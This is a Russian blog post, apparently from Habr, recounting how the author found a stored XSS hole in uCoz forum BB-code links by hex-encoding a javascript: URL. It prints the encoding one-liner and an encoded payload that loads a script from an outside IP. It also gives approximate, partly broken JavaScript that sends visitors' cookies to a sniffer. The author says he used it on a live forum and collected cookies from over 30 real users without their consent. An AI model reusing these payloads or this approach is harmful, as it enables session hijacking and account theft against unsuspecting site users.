Как стать автором
Обновить

О том как я XSS на ucoz нашел



Однажды, сидя на своем любимом форуме, у меня возникла мысль: "Хм! А ведь раньше были уязвимость в BB кодах различных форумов. Может быть они не все перевелись?". «Надо бы поискать» — сказал я себе.

Что же я делал?


Некоторое время было потрачено на изучение доступных BB кодов(кстати форум ucoz, а сайт входит в топ10 игровой тематики).

После неких манипуляций обнаружилось, что тэг url сохраняет протокол javascript, т.е пытается что-то делать, просто фильтруется. «Оп-па, подумал я».

[url=javascript:alert("XSS");]Load[/url].

Конечно не работает… Что же делать?

И тут еще одна мысль! «А ведь постоянно вижу в ссылках эти знаки процента!»

Был расчехлен любимый python и написана коленочная программа для генерации зашифрованной в hex url-строки.
print "%"+"%".join("{0:x}".format(ord(c)) for c in s)


Вот эта конструкция позволяла добавить к каждому посту сообщение, типа hacked by FelZz (ну вы поняли).
[url=javascript:%24%2e%67%65%74%53%63%72%69%70%74%28%27%68%74%74%70%3a%2f%2f%39%33%2e%31%38%39%2e%34%34%2e%37%33%2f%66%65%6c%7a%7a%2f%72%65%66%2e%6a%73%27%29%3b]Load[/url]


Дальше для наглядности был написан подключаемый с помощью $.getScript(); скрипт, ворующие cookie пользователя, через httpz(сниффер).
За 24 часа попалось больше 30-ти человек, и это всего лишь безобидная красная кнопка с надписью: «Не нажимать!».
JS код(приблизительно):
var body = document.getElementByTagName("body");
body.innerHtml(body+"<iframe id="evil" src="главная сайта" />");
var evil = document.getElementById("evil");
body.innerHtml("<img src='ссылка на сниффер?'"+evil.document.cookie+">");


Естественно на мое сообщение об ошибке в поддержке ucoz'а никто не отреагировал… Но у меня были знакомые на форуме, и администратор сайта отправил письмо с жалобой.

Итог


Уязвимость устранена через неделю (30 июля). Теперь протокол javascript фильтруется полностью.

Не нужно думать, что какой-то сайт защищен полностью. Почти всегда можно найти новую(или давно забытую старую) уязвимость.
Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.